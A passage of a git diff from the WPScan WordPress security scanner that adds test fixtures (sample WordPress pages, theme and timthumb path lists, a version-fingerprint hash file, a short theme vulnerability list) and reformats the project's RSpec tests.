+                <li><a href="http://10.211.55.8/wordpress/?feed=comments-rss2" title="The latest comments to all posts in RSS">Comments <abbr title="Really Simple Syndication">RSS</abbr></a></li>
+                <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a></li>
+            </ul>
+            </li>			</ul>
+        </div><!-- #primary .widget-area -->
+
+    </div><!-- #main -->
+
+    <div id="footer" role="contentinfo">
+        <div id="colophon">
+
+
+
+            <div id="site-info">
+                <a href="http://10.211.55.8/wordpress/" title="test" rel="home">
+                    test				</a>
+            </div><!-- #site-info -->
+
+            <div id="site-generator">
+                <a href="http://wordpress.org/" title="Semantic Personal Publishing Platform" rel="generator">Proudly powered by WordPress.</a>
+            </div><!-- #site-generator -->
+
+        </div><!-- #colophon -->
+    </div><!-- #footer -->
+
+</div><!-- #wrapper -->
+
+<script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/contact-form-7/includes/js/jquery.form.js?ver=3.14'></script>
+<script type='text/javascript'>
+    /* <![CDATA[ */
+    var _wpcf7 = {"loaderUrl":"http:\/\/10.211.55.8\/wordpress\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."};
+    /* ]]> */
+</script>
+<script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.2.1'></script>
+</body>
+</html>
diff --git a/spec/fixtures/wpscan/modules/wp_themes/passive_detection/various_themes.htm b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/various_themes.htm
new file mode 100644
index 00000000..3e3f2883
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/various_themes.htm
@@ -0,0 +1,26 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="fr-FR">
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
+    <meta property="fb:page_id" content="18968879441564"/>
+    <title>Example.com</title>
+    <link rel="alternate" type="application/rss+xml" title="Example RSS Feed" href="http://example.com/feed"/>
+    <link rel="alternate" type="application/atom+xml" title="Example Atom Feed" href="http://example.com/feed/atom"/>
+    <link rel="pingback" href="http://example.com/xmlrpc.php"/>
+
+    <link type="text/css" rel="stylesheet" href="http://example.localhost/wp-content/themes/theme1/style.css" />
+    <link type="text/css" rel="stylesheet" href="http://example.localhost/wp-content/themes/theme2/javascript.js" />
+    <link type="text/css" rel="stylesheet" href="http://example.localhost/wp-content/themes/theme3/test.png" />
+
+</head>
+<body>
+<div class="top">
+    <div class="header">
+        <h1 class="logo">
+            Blablabla
+        </h1>
+    </div>
+</div>
+</body>
+<script type='text/javascript' src='http://platform.twitter.com/widgets.js?ver=1.0.0'></script>
+</html>
diff --git a/spec/fixtures/wpscan/modules/wp_themes/theme_vulns.xml b/spec/fixtures/wpscan/modules/wp_themes/theme_vulns.xml
new file mode 100644
index 00000000..cec6b2f6
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/wp_themes/theme_vulns.xml
@@ -0,0 +1,25 @@
+<themes>
+  <theme name="shopperpress">
+    <vulnerability>
+      <title>ShopperPress WordPress Theme 2.7 Cross Site Scripting</title>
+      <reference>http://packetstormsecurity.org/files/115630/</reference>
+      <type>XSS</type>
+    </vulnerability>
+  </theme>
+
+  <theme name="wise">
+    <vulnerability>
+      <title>Site5 Wordpress Themes Email Spoofing</title>
+      <reference>http://packetstormsecurity.org/files/114750/</reference>
+      <type>UNKNOWN</type>
+    </vulnerability>
+  </theme>
+
+  <theme name="webfolio">
+    <vulnerability>
+      <title>Site5 Wordpress Themes Email Spoofing</title>
+      <reference>http://packetstormsecurity.org/files/114750/</reference>
+      <type>UNKNOWN</type>
+    </vulnerability>
+  </theme>
+ </themes>
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/modules/wp_themes/themes.txt b/spec/fixtures/wpscan/modules/wp_themes/themes.txt
new file mode 100644
index 00000000..6a80ad25
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/wp_themes/themes.txt
@@ -0,0 +1,10 @@
+zenpro/404.php
+zeta-zip/404.php
+zfirst/404.php
+zgrey/404.php
+zindi-ii/404.php
+zindi/404.php
+zombie-apocalypse/404.php
+zsofa/404.php
+zwei-seiten/404.php
+twentyten/404.php
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt
index 5463268b..340da2ab 100644
--- a/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt
+++ b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt
@@ -1,3 +1,3 @@
-wp-content/plugins/feature-slideshow/timthumb.php
-wp-content/plugins/fotoslide/timthumb.php
-wp-content/plugins/feature-slideshow/timthumb.php
+plugins/feature-slideshow/timthumb.php
+plugins/fotoslide/timthumb.php
+plugins/feature-slideshow/timthumb.php
diff --git a/spec/fixtures/wpscan/wp_version/advanced/3.2.1.js b/spec/fixtures/wpscan/wp_version/advanced/3.2.1.js
new file mode 100644
index 00000000..c5bf4868
--- /dev/null
+++ b/spec/fixtures/wpscan/wp_version/advanced/3.2.1.js
@@ -0,0 +1 @@
+var PubSub,fullscreen,wptitlehint;PubSub=function(){this.topics={}};PubSub.prototype.subscribe=function(a,b){if(!this.topics[a]){this.topics[a]=[]}this.topics[a].push(b);return b};PubSub.prototype.unsubscribe=function(b,e){var c,a,d=this.topics[b];if(!d){return e||[]}if(e){for(c=0,a=d.length;c<a;c++){if(e==d[c]){d.splice(c,1)}}return e}else{this.topics[b]=[];return d}};PubSub.prototype.publish=function(c,b){var d,a,e,f=this.topics[c];if(!f){return}b=b||[];for(d=0,a=f.length;d<a;d++){e=(f[d].apply(null,b)===false||e)}return !e};(function(c){var b,e,d,a;fullscreen=b={};e=b.pubsub=new PubSub();timer=0;block=false;a=b.settings={visible:false,mode:"tinymce",editor_id:"content",title_id:"title",timer:0,toolbar_shown:false};d=b.bounder=function(l,h,g,j){var k,i;g=g||1250;if(j){k=j.pageY||j.clientY||j.offsetY;i=c(document).scrollTop();if(!j.isDefaultPrevented){k=135+k}if(k-i>120){return}}if(block){return}block=true;setTimeout(function(){block=false},400);if(a.timer){clearTimeout(a.timer)}else{e.publish(l)}function f(){e.publish(h);a.timer=0}a.timer=setTimeout(f,g)};b.on=function(){if(a.visible){return}a.mode=c("#"+a.editor_id).is(":hidden")?"tinymce":"html";if(!a.element){b.ui.init()}a.is_mce_on=a.has_tinymce&&typeof(tinyMCE.get(a.editor_id))!="undefined";b.ui.fade("show","showing","shown")};b.off=function(){if(!a.visible){return}b.ui.fade("hide","hiding","hidden")};b.switchmode=function(g){var f=a.mode;if(!g||!a.visible||!a.has_tinymce){return f}if(f==g){return f}e.publish("switchMode",[f,g]);a.mode=g;e.publish("switchedMode",[f,g]);return g};b.save=function(){var h=c("#hiddenaction"),f=h.val(),i=c("#wp-fullscreen-save img"),g=c("#wp-fullscreen-save span");i.show();b.savecontent();h.val("wp-fullscreen-save-post");c.post(ajaxurl,c("form#post").serialize(),function(j){i.hide();g.show();setTimeout(function(){g.fadeOut(1000)},3000);if(j.last_edited){c("#wp-fullscreen-save input").attr("title",j.last_edited)}},"json");h.val(f)};b.savecontent=function(){var f,g;c("#"+a.title_id).val(c("#wp-fullscreen-title").val());if(a.mode==="tinymce"&&(f=tinyMCE.get("wp_mce_fullscreen"))){g=f.save()}else{g=c("#wp_mce_fullscreen").val()}c("#"+a.editor_id).val(g);c(document).triggerHandler("wpcountwords",[g])};set_title_hint=function(f){if(!f.val().length){f.siblings("label").css("visibility","")}else{f.siblings("label").css("visibility","hidden")}};b.dfw_width=function(h){var g=c("#wp-fullscreen-wrap"),f=g.width();if(!h){g.width(c("#wp-fullscreen-central-toolbar").width());deleteUserSetting("dfw_width");return}f=h+f;if(f<200||f>1200){return}g.width(f);setUserSetting("dfw_width",f)};e.subscribe("showToolbar",function(){a.toolbars.removeClass("fade-1000").addClass("fade-300");b.fade.In(a.toolbars,300,function(){e.publish("toolbarShown")},true);c("#wp-fullscreen-body").addClass("wp-fullscreen-focus");a.toolbar_shown=true});e.subscribe("hideToolbar",function(){a.toolbars.removeClass("fade-300").addClass("fade-1000");b.fade.Out(a.toolbars,1000,function(){e.publish("toolbarHidden")},true);c("#wp-fullscreen-body").removeClass("wp-fullscreen-focus")});e.subscribe("toolbarShown",function(){a.toolbars.removeClass("fade-300")});e.subscribe("toolbarHidden",function(){a.toolbars.removeClass("fade-1000");a.toolbar_shown=false});e.subscribe("show",function(){var f=c("#wp-fullscreen-title").val(c("#"+a.title_id).val());set_title_hint(f);c("#wp-fullscreen-save input").attr("title",c("#last-edit").text());a.textarea_obj.value=edCanvas.value;if(a.has_tinymce&&a.mode==="tinymce"){tinyMCE.execCommand("wpFullScreenInit")}a._edCanvas=edCanvas;edCanvas=a.textarea_obj;a.orig_y=c(window).scrollTop()});e.subscribe("showing",function(){c(document.body).addClass("fullscreen-active");b.refresh_buttons();c(document).bind("mousemove.fullscreen",function(f){d("showToolbar","hideToolbar",2000,f)});d("showToolbar","hideToolbar",2000);b.bind_resize();setTimeout(b.resize_textarea,200);scrollTo(0,0);c("#wpadminbar").hide()});e.subscribe("shown",function(){a.visible=true;if(a.has_tinymce&&!a.is_mce_on){htmled=document.getElementById(a.editor_id),old_val=htmled.value;htmled.value=switchEditors.wpautop(old_val);tinyMCE.settings.setup=function(f){f.onInit.add(function(g){g.hide();delete tinyMCE.settings.setup;g.getElement().value=old_val})};tinyMCE.execCommand("mceAddControl",false,a.editor_id);a.is_mce_on=true}});e.subscribe("hide",function(){if(a.has_tinymce&&a.mode==="tinymce"&&c("#"+a.editor_id).is(":visible")){switchEditors.go(a.editor_id,"tinymce")}else{if(a.mode==="html"&&c("#"+a.editor_id).is(":hidden")){switchEditors.go(a.editor_id,"html")}}b.savecontent();c(document).unbind(".fullscreen");c(a.textarea_obj).unbind(".grow");if(a.has_tinymce&&a.mode==="tinymce"){tinyMCE.execCommand("wpFullScreenSave")}set_title_hint(c("#"+a.title_id));edCanvas=a._edCanvas;edCanvas.value=a.textarea_obj.value});e.subscribe("hiding",function(){c(document.body).removeClass("fullscreen-active");scrollTo(0,a.orig_y);c("#wpadminbar").show()});e.subscribe("hidden",function(){a.visible=false;c("#wp_mce_fullscreen").removeAttr("style");if(a.has_tinymce&&a.is_mce_on){tinyMCE.execCommand("wpFullScreenClose")}a.textarea_obj.value="";b.oldheight=0});e.subscribe("switchMode",function(h,g){var f;if(!a.has_tinymce||!a.is_mce_on){return}f=tinyMCE.get("wp_mce_fullscreen");if(h==="html"&&g==="tinymce"){a.textarea_obj.value=switchEditors.wpautop(a.textarea_obj.value);if("undefined"==typeof(f)){tinyMCE.execCommand("wpFullScreenInit")}else{f.show()}}else{if(h==="tinymce"&&g==="html"){if(f){f.hide()}}}});e.subscribe("switchedMode",function(g,f){b.refresh_buttons(true);if(f==="html"){setTimeout(b.resize_textarea,200)}});b.b=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("Bold")}};b.i=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("Italic")}};b.ul=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("InsertUnorderedList")}};b.ol=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("InsertOrderedList")}};b.link=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("WP_Link")}else{wpLink.open()}};b.unlink=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("unlink")}};b.atd=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("mceWritingImprovementTool")}};b.help=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("WP_Help")}};b.blockquote=function(){if(a.has_tinymce&&"tinymce"===a.mode){tinyMCE.execCommand("mceBlockQuote")}};b.refresh_buttons=function(f){f=f||false;if(a.mode==="html"){c("#wp-fullscreen-mode-bar").removeClass("wp-tmce-mode").addClass("wp-html-mode");if(f){c("#wp-fullscreen-button-bar").fadeOut(150,function(){c(this).addClass("wp-html-mode").fadeIn(150)})}else{c("#wp-fullscreen-button-bar").addClass("wp-html-mode")}}else{if(a.mode==="tinymce"){c("#wp-fullscreen-mode-bar").removeClass("wp-html-mode").addClass("wp-tmce-mode");if(f){c("#wp-fullscreen-button-bar").fadeOut(150,function(){c(this).removeClass("wp-html-mode").fadeIn(150)})}else{c("#wp-fullscreen-button-bar").removeClass("wp-html-mode")}}}};b.ui={init:function(){var f=c("#fullscreen-topbar"),h=c("#wp_mce_fullscreen"),g=0;a.toolbars=f.add(c("#wp-fullscreen-status"));a.element=c("#fullscreen-fader");a.textarea_obj=h[0];a.has_tinymce=typeof(tinyMCE)!="undefined";if(!a.has_tinymce){c("#wp-fullscreen-mode-bar").hide()}if(wptitlehint){wptitlehint("wp-fullscreen-title")}c(document).keyup(function(k){var l=k.keyCode||k.charCode,i,j;if(!fullscreen.settings.visible){return true}if(navigator.platform&&navigator.platform.indexOf("Mac")!=-1){i=k.ctrlKey}else{i=k.altKey}if(27==l){j={event:k,what:"dfw",cb:fullscreen.off,condition:function(){if(c("#TB_window").is(":visible")||c(".wp-dialog").is(":visible")){return false}return true}};if(!jQuery(document).triggerHandler("wp_CloseOnEscape",[j])){fullscreen.off()}}if(i&&(61==l||107==l||187==l)){b.dfw_width(25)}if(i&&(45==l||109==l||189==l)){b.dfw_width(-25)}if(i&&48==l){b.dfw_width(0)}return false});if(typeof(wpWordCount)!="undefined"){h.keyup(function(j){var i=j.keyCode||j.charCode;if(i==g){return true}if(13==i||8==g||46==g){c(document).triggerHandler("wpcountwords",[h.val()])}g=i;return true})}f.mouseenter(function(i){a.toolbars.addClass("fullscreen-make-sticky");c(document).unbind(".fullscreen");clearTimeout(a.timer);a.timer=0}).mouseleave(function(i){a.toolbars.removeClass("fullscreen-make-sticky");if(a.visible){c(document).bind("mousemove.fullscreen",function(j){d("showToolbar","hideToolbar",2000,j)})}})},fade:function(g,f,h){if(!a.element){b.ui.init()}if(g&&!e.publish(g)){return}b.fade.In(a.element,600,function(){if(f){e.publish(f)}b.fade.Out(a.element,600,function(){if(h){e.publish(h)}})})}};b.fade={transitionend:"transitionend webkitTransitionEnd oTransitionEnd",sensitivity:100,In:function(g,h,i,f){i=i||c.noop;h=h||400;f=f||false;if(b.fade.transitions){if(g.is(":visible")){g.addClass("fade-trigger");return g}g.show();g.first().one(this.transitionend,function(){i()});setTimeout(function(){g.addClass("fade-trigger")},this.sensitivity)}else{if(f){g.stop()}g.css("opacity",1);g.first().fadeIn(h,i);if(g.length>1){g.not(":first").fadeIn(h)}}return g},Out:function(g,h,i,f){i=i||c.noop;h=h||400;f=f||false;if(!g.is(":visible")){return g}if(b.fade.transitions){g.first().one(b.fade.transitionend,function(){if(g.hasClass("fade-trigger")){return}g.hide();i()});setTimeout(function(){g.removeClass("fade-trigger")},this.sensitivity)}else{if(f){g.stop()}g.first().fadeOut(h,i);if(g.length>1){g.not(":first").fadeOut(h)}}return g},transitions:(function(){var f=document.documentElement.style;return(typeof(f.WebkitTransition)=="string"||typeof(f.MozTransition)=="string"||typeof(f.OTransition)=="string"||typeof(f.transition)=="string")})()};b.bind_resize=function(){c(a.textarea_obj).bind("keypress.grow click.grow paste.grow",function(){setTimeout(b.resize_textarea,200)})};b.oldheight=0;b.resize_textarea=function(){var f=a.textarea_obj,g;g=f.scrollHeight>300?f.scrollHeight:300;if(g!=b.oldheight){f.style.height=g+"px";b.oldheight=g}}})(jQuery);
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/wp_version/advanced/wp_versions.xml b/spec/fixtures/wpscan/wp_version/advanced/wp_versions.xml
new file mode 100644
index 00000000..4383dce8
--- /dev/null
+++ b/spec/fixtures/wpscan/wp_version/advanced/wp_versions.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0"?>
+
+<!--
+WPScan - WordPress Security Scanner
+Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+ryandewhurst at gmail
+-->
+<!--
+  This file contains identification data to identify WordPress verions.
+  http://wordpress.org/download/release-archive/
+
+  Position is important, DO NOT change anything unless you know what you are doing :p
+-->
+
+<wp-versions>
+  <file src="wp-admin/js/wp-fullscreen.js">
+    <hash md5="5675f7793f171b6424bf72f9d7bf4d9a">
+      <score>1</score>
+      <versions>3.2.1</versions>
+    </hash>
+
+    <hash md5="7b423e0b7c9221092737ad5271d09863">
+      <score>1</score>
+      <versions>3.2</versions>
+    </hash>
+  </file>
+</wp-versions>
diff --git a/spec/fixtures/wpscan/wp_version/opml/wp-links-opml-nogenerator.xml b/spec/fixtures/wpscan/wp_version/opml/wp-links-opml-nogenerator.xml
new file mode 100644
index 00000000..97c27ad6
--- /dev/null
+++ b/spec/fixtures/wpscan/wp_version/opml/wp-links-opml-nogenerator.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0"?>
+<opml version="1.0">
+  <head>
+    <title>Title</title>
+    <dateCreated>Mon, 24 Sep 2012 15:58:41 GMT</dateCreated>
+  </head>
+  <body>
+  </body>
+</opml>
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/wp_version/opml/wp-links-opml.xml b/spec/fixtures/wpscan/wp_version/opml/wp-links-opml.xml
new file mode 100644
index 00000000..c20a5550
--- /dev/null
+++ b/spec/fixtures/wpscan/wp_version/opml/wp-links-opml.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0"?>
+<opml version="1.0">
+  <head>
+    <title>Title</title>
+    <dateCreated>Mon, 24 Sep 2012 15:58:41 GMT</dateCreated>
+    <!-- generator="WordPress/3.4.2" -->
+  </head>
+  <body>
+  </body>
+</opml>
\ No newline at end of file
diff --git a/spec/lib/browser_spec.rb b/spec/lib/browser_spec.rb
index e93dec50..adc7724c 100644
--- a/spec/lib/browser_spec.rb
+++ b/spec/lib/browser_spec.rb
@@ -1,13 +1,31 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
 
 describe Browser do
   CONFIG_FILE_WITHOUT_PROXY = SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json'
-  CONFIG_FILE_WITH_PROXY    = SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf_proxy.json'
-  INSTANCE_VARS_TO_CHECK    = ['user_agent', 'user_agent_mode', 'available_user_agents', 'proxy', 'max_threads', 'request_timeout', 'cache_timeout']
+  CONFIG_FILE_WITH_PROXY = SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf_proxy.json'
+  INSTANCE_VARS_TO_CHECK = ['user_agent', 'user_agent_mode', 'available_user_agents', 'proxy', 'max_threads', 'request_timeout', 'cache_timeout']
 
   before :all do
     @json_config_without_proxy = JSON.parse(File.read(CONFIG_FILE_WITHOUT_PROXY))
-    @json_config_with_proxy    = JSON.parse(File.read(CONFIG_FILE_WITH_PROXY))
+    @json_config_with_proxy = JSON.parse(File.read(CONFIG_FILE_WITH_PROXY))
   end
 
   before :each do
@@ -24,7 +42,7 @@ describe Browser do
 
   describe "#user_agent_mode setter / getter" do
     # Testing all valid modes
-    Browser.class_variable_get(:@@user_agent_modes).each do |user_agent_mode|
+    Browser::USER_AGENT_MODES.each do |user_agent_mode|
       it "should set / return #{user_agent_mode}" do
         @browser.user_agent_mode = user_agent_mode
         @browser.user_agent_mode.should === user_agent_mode
@@ -54,7 +72,7 @@ describe Browser do
   end
 
   describe "#user_agent" do
-    available_user_agents = [ "ua-1", "ua-2", "ua-3", "ua-4", "ua-6", "ua-7", "ua-8", "ua-9", "ua-10" ]
+    available_user_agents = %w{ ua-1 ua-2 ua-3 ua-4 ua-6 ua-7 ua-8 ua-9 ua-10 ua-11 ua-12 ua-13 ua-14 ua-15 ua-16 ua-17}
 
     it "should always return the same user agent in static mode" do
       @browser.user_agent = "fake UA"
@@ -97,8 +115,8 @@ describe Browser do
     it "will check the instance vars" do
       Browser.reset
       check_instance_variables(
-        Browser.instance(:config_file => CONFIG_FILE_WITHOUT_PROXY),
-        @json_config_without_proxy
+          Browser.instance(:config_file => CONFIG_FILE_WITHOUT_PROXY),
+          @json_config_without_proxy
       )
     end
   end
@@ -107,8 +125,8 @@ describe Browser do
     it "will check the instance vars" do
       Browser.reset
       check_instance_variables(
-        Browser.instance(:config_file => CONFIG_FILE_WITH_PROXY),
-        @json_config_with_proxy
+          Browser.instance(:config_file => CONFIG_FILE_WITH_PROXY),
+          @json_config_with_proxy
       )
     end
   end
@@ -118,22 +136,22 @@ describe Browser do
     it "will check the instance vars, with an overriden one" do
       Browser.reset
       check_instance_variables(
-        Browser.instance(
-          :config_file => CONFIG_FILE_WITHOUT_PROXY,
-          :user_agent  => "fake IE"
-        ),
-        @json_config_without_proxy.merge("user_agent" => "fake IE")
+          Browser.instance(
+              :config_file => CONFIG_FILE_WITHOUT_PROXY,
+              :user_agent => "fake IE"
+          ),
+          @json_config_without_proxy.merge("user_agent" => "fake IE")
       )
     end
 
     it "should not override the max_threads if max_threads = nil" do
       Browser.reset
       check_instance_variables(
-        Browser.instance(
-          :config_file => CONFIG_FILE_WITHOUT_PROXY,
-          :max_threads => nil
-        ),
-        @json_config_without_proxy
+          Browser.instance(
+              :config_file => CONFIG_FILE_WITHOUT_PROXY,
+              :max_threads => nil
+          ),
+          @json_config_without_proxy
       )
     end
   end
@@ -145,10 +163,10 @@ describe Browser do
   describe "#merge_request_params without proxy" do
     it "should return the default params" do
       expected_params = {
-        :disable_ssl_host_verification => true,
-        :disable_ssl_peer_verification => true,
-        :headers                       => {'user-agent' => @browser.user_agent},
-        :cache_timeout                 => @json_config_without_proxy['cache_timeout']
+          :disable_ssl_host_verification => true,
+          :disable_ssl_peer_verification => true,
+          :headers => {'user-agent' => @browser.user_agent},
+          :cache_timeout => @json_config_without_proxy['cache_timeout']
       }
 
       @browser.merge_request_params().should == expected_params
@@ -156,25 +174,25 @@ describe Browser do
 
     it "should return the default params with some values overriden" do
       expected_params = {
-        :disable_ssl_host_verification => false,
-        :disable_ssl_peer_verification => true,
-        :headers                       => {'user-agent' => 'Fake IE'},
-        :cache_timeout                 => 0
+          :disable_ssl_host_verification => false,
+          :disable_ssl_peer_verification => true,
+          :headers => {'user-agent' => 'Fake IE'},
+          :cache_timeout => 0
       }
 
       @browser.merge_request_params(
-        :disable_ssl_host_verification => false,
-        :headers                       => {'user-agent' => 'Fake IE'},
-        :cache_timeout                 => 0
+          :disable_ssl_host_verification => false,
+          :headers => {'user-agent' => 'Fake IE'},
+          :cache_timeout => 0
       ).should == expected_params
     end
 
     it "should return the defaul params with :headers:accept = 'text/html' (should not override :headers:user-agent)" do
       expected_params = {
-        :disable_ssl_host_verification => true,
-        :disable_ssl_peer_verification => true,
-        :headers                       => {'user-agent' => @browser.user_agent, 'accept' => 'text/html'},
-        :cache_timeout                 => @json_config_without_proxy['cache_timeout']
+          :disable_ssl_host_verification => true,
+          :disable_ssl_peer_verification => true,
+          :headers => {'user-agent' => @browser.user_agent, 'accept' => 'text/html'},
+          :cache_timeout => @json_config_without_proxy['cache_timeout']
       }
 
       @browser.merge_request_params(:headers => {'accept' => 'text/html'}).should == expected_params
@@ -187,47 +205,17 @@ describe Browser do
       browser = Browser.instance(:config_file => CONFIG_FILE_WITH_PROXY)
 
       expected_params = {
-        :proxy                         => @json_config_with_proxy['proxy'],
-        :disable_ssl_host_verification => true,
-        :disable_ssl_peer_verification => true,
-        :headers                       => {'user-agent' => @json_config_with_proxy['user_agent']},
-        :cache_timeout                 => @json_config_with_proxy['cache_timeout']
+          :proxy => @json_config_with_proxy['proxy'],
+          :disable_ssl_host_verification => true,
+          :disable_ssl_peer_verification => true,
+          :headers => {'user-agent' => @json_config_with_proxy['user_agent']},
+          :cache_timeout => @json_config_with_proxy['cache_timeout']
       }
 
       browser.merge_request_params().should == expected_params
     end
   end
 
-  describe "#replace_variables_in_url" do
-    after :each do
-      @browser.variables_to_replace_in_url = @variables if @variables
-      @browser.send(:replace_variables_in_url, @url).should === @expected
-    end
-
-    it "should not replace anything (empty variables_to_replace_in_url)" do
-      @url      = "http://target.tld/wp-content/file.txt"
-      @expected = @url
-    end
-
-    it "should not replace anything (not match found)" do
-      @variables = {"%nothing%" => "hello"}
-      @url       = "http://target.tld/nothing/file.txt"
-      @expected  = @url
-    end
-
-    it "should replace %wp-content% by 'custom-content'" do
-      @variables = {"%wp-content%" => "custom-content"}
-      @url       = "http://target.tld/%wp-content%/some-file.txt"
-      @expected  = "http://target.tld/custom-content/some-file.txt"
-    end
-
-    it "should replace %wp-content% by 'custom-content' and %plugins% by 'wp_plugins'" do
-      @variables = {"%wp-content%" => "custom-content", "%plugins%" => "wp_plugins"}
-      @url       = "http://target.tld/%wp-content%/hello/%plugins%"
-      @expected  = "http://target.tld/custom-content/hello/wp_plugins"
-    end
-  end
-
   # TODO
   describe "#forge_request" do
 
@@ -238,11 +226,11 @@ describe Browser do
       url = 'http://example.com/'
 
       stub_request(:post, url).
-        with(:body => "login=master&password=it's me !").
-        to_return(:status => 200, :body => "Welcome Master")
+          with(:body => "login=master&password=it's me !").
+          to_return(:status => 200, :body => "Welcome Master")
 
       response = @browser.post(url,
-        :params => {:login => "master", :password => "it's me !"}
+                               :params => {:login => "master", :password => "it's me !"}
       )
 
       response.should be_a Typhoeus::Response
@@ -255,7 +243,7 @@ describe Browser do
       url = 'http://example.com/'
 
       stub_request(:get, url).
-        to_return(:status => 200, :body => "Hello World !")
+          to_return(:status => 200, :body => "Hello World !")
 
       response = @browser.get(url)
 
@@ -290,7 +278,7 @@ describe Browser do
       url = 'http://example.localhost'
 
       stub_request(:get, url).
-        to_return(:status => 200, :body => "Hello World !")
+          to_return(:status => 200, :body => "Hello World !")
 
       response1 = @browser.get(url)
       response2 = @browser.get(url)
diff --git a/spec/lib/cache_file_store_spec.rb b/spec/lib/cache_file_store_spec.rb
index 44defd43..e2f39622 100644
--- a/spec/lib/cache_file_store_spec.rb
+++ b/spec/lib/cache_file_store_spec.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
 
 describe CacheFileStore do
@@ -56,16 +74,16 @@ describe CacheFileStore do
     end
 
     it "should get the correct entry (string)" do
-      @timeout  = 10
-      @key      = "some_key"
-      @data     = "Hello World !"
+      @timeout = 10
+      @key = "some_key"
+      @data = "Hello World !"
       @expected = @data
     end
 
     it "should not write the entry" do
-      @timeout  = 0
-      @key      = "another_key"
-      @data     = "Another Hello World !"
+      @timeout = 0
+      @key = "another_key"
+      @data = "Another Hello World !"
       @expected = nil
     end
 
diff --git a/spec/lib/common_helper_spec.rb b/spec/lib/common_helper_spec.rb
new file mode 100644
index 00000000..fadc4531
--- /dev/null
+++ b/spec/lib/common_helper_spec.rb
@@ -0,0 +1,74 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + '../../../lib/wpscan/wpscan_helper')
+
+describe "common_helper" do
+  describe "#get_equal_string" do
+    after :each do
+      output = get_equal_string_end(@input)
+      output.should == @expected
+    end
+
+    it "sould return an empty string" do
+      @input = [""]
+      @expected = ""
+    end
+
+    it "sould return an empty string" do
+      @input = []
+      @expected = ""
+    end
+
+    it "sould return asdf" do
+      @input = ["kjh asdf", "oijr asdf"]
+      @expected = " asdf"
+    end
+
+    it "sould return &laquo;  BlogName" do
+      @input = ["user1 &laquo;  BlogName",
